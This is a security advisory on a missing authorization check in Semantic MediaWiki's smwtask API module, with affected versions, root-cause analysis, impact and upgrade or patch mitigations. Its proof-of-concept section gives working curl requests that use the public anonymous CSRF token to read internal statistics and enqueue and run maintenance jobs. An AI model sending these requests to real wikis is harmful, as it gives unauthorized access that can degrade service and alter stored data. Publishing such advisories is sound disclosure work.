Semantic MediaWiki'a missing authorization in the smwtask API module allows unauthenticated access to admin-only maintenance tasks

An unauthenticated visitor can use Semantic MediaWiki's smwtask API module to read internal database statistics and run maintenance operations intended only for administrators. This can degrade wiki performance and allow targeted changes to stored semantic data. The flaw is present on default installations because the module does not check permissions.

In composer.lock, find mediawiki/semantic-media-wiki and check whether its version is from 3.0.0 to 7.2.1, inclusive. The affected feature is the smwtask API module, which is exposed on default installations; restricting Special:SMWAdmin with the smw-admin right does not protect it. Check whether the module has been disabled locally. No particular database or optional configuration is required.

Upgrade to 7.3.0 or later. If you cannot update, the advisory gives a local patch in localSettings.php: register a callback in $wgExtensionFunctions that removes smwtask from $GLOBALS['wgAPIModules'], disabling the endpoint.

Summary

The api.php?action=smwtask API module performs no authorization check. The equivalent maintenance interface in the web UI (Special:SMWAdmin) requires the smw-admin right, but the API module that backs several of the same operations enforces nothing. An unauthenticated visitor can therefore retrieve internal Semantic MediaWiki database statistics and reach state-changing maintenance operations that are intended to be administrator-only.

Details

SMW\MediaWiki\Api\Task::execute() (src/MediaWiki/Api/Task.php) reads the request parameters, resolves a task through TaskFactory, and runs it. It contains no permission check — no smw-admin, no checkUserRightsAny(), no per-task right.

The only gates on the module are:

• needsToken( 'csrf' ) — this is not authorization. MediaWiki issues anonymous users a fixed, public CSRF token (+\), so any unauthenticated caller satisfies the token check. It defends logged-in users against CSRF; it does nothing against a direct anonymous request.
• mustBePosted() / isWriteMode() — do not gate on group membership.

By contrast, Special:SMWAdmin restricts access via parent::__construct( 'SMWAdmin', 'smw-admin' ) and raises PermissionsError when the smw-admin right is absent. The API path bypasses that restriction entirely.

Tasks reachable anonymously through the module include:

• table-statistics, duplicate-lookup — return internal store statistics and enumerate the internal object-ID space (intended to be behind Special:SMWAdmin → Supplementary functions).
• insert-job — enqueues any Semantic MediaWiki job type (including smw.fulltextSearchTableRebuild, smw.propertyStatisticsRebuild, smw.entityIdDisposer) for an arbitrary title.
• update, check-query, run-joblist — run update jobs and #ask queries synchronously within the request; run-joblist pops and executes queued jobs inline.

Because the read tasks disclose the internal object-ID space and insert-job can enqueue smw.entityIdDisposer with a specific id parameter, the exposure extends beyond information disclosure and resource consumption to targeted modification of stored semantic data.

Proof of concept

On a default installation, as an unauthenticated visitor:

# 1. Obtain the anonymous CSRF token (the fixed public value "+\")
curl -s 'https://HOST/api.php?action=query&meta=tokens&type=csrf&format=json'
#   -> {"query":{"tokens":{"csrftoken":"+\\"}}}

# 2. Read internal database statistics — HTTP 200 with the data
curl -s -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-raw 'action=smwtask&task=table-statistics&params={}&token=%2B%5C&format=json' \
  'https://HOST/api.php'
#   -> {"task":{"list":{"smw_object_ids":{"total_row_count":49,"last_id":516,...

# 3. Enqueue a maintenance job (state-changing)
curl -s --data-urlencode 'action=smwtask' --data-urlencode 'task=insert-job' \
  --data-urlencode 'params={"subject":"Main_Page#0##","job":"smw.fulltextSearchTableRebuild","parameters":{"mode":"full"}}' \
  --data-urlencode 'token=+\' --data-urlencode 'format=json' 'https://HOST/api.php'
#   -> {"task":{"done":""}}   (job now present in the queue)

# 4. Execute queued jobs synchronously in the anonymous request
curl -s --data-urlencode 'action=smwtask' --data-urlencode 'task=run-joblist' \
  --data-urlencode 'params={"subject":"Main_Page#0##","jobs":{"smw.fulltextSearchTableRebuild":1}}' \
  --data-urlencode 'token=+\' --data-urlencode 'format=json' 'https://HOST/api.php'
#   -> {"task":{"done":"","log":{"smw.fulltextSearchTableRebuild":["Main_Page"]}}}

Reproduced on master against a default install, with the requester confirmed anonymous (action=query&meta=userinfo returned {"id":0,"anon":""}).

Impact

An unauthenticated attacker can:

• Retrieve internal Semantic MediaWiki database statistics — row counts, the last/highest internal object ID, per-namespace breakdowns, and blob term statistics — and enumerate the internal object-ID space.
• Enqueue arbitrary Semantic MediaWiki maintenance jobs and force synchronous execution of update jobs, #ask queries, and queued jobs, degrading wiki performance.
• Reach entity-disposal operations against enumerated object IDs, affecting the integrity of stored semantic data.

Practical severity depends on deployment: the disclosed statistics are more sensitive on a populated wiki, and the performance and integrity impact scales with store size and job cost.

Affected versions

All releases that ship the smwtask API module (introduced in 3.x) up to and including the current release.

Mitigation

Upgrading to 7.3.0+ or apply a local patch in localSettings.php to disable the endpoint if you can't update:

$wgExtensionFunctions[] = static function () {
      unset( $GLOBALS['wgAPIModules']['smwtask'] );
};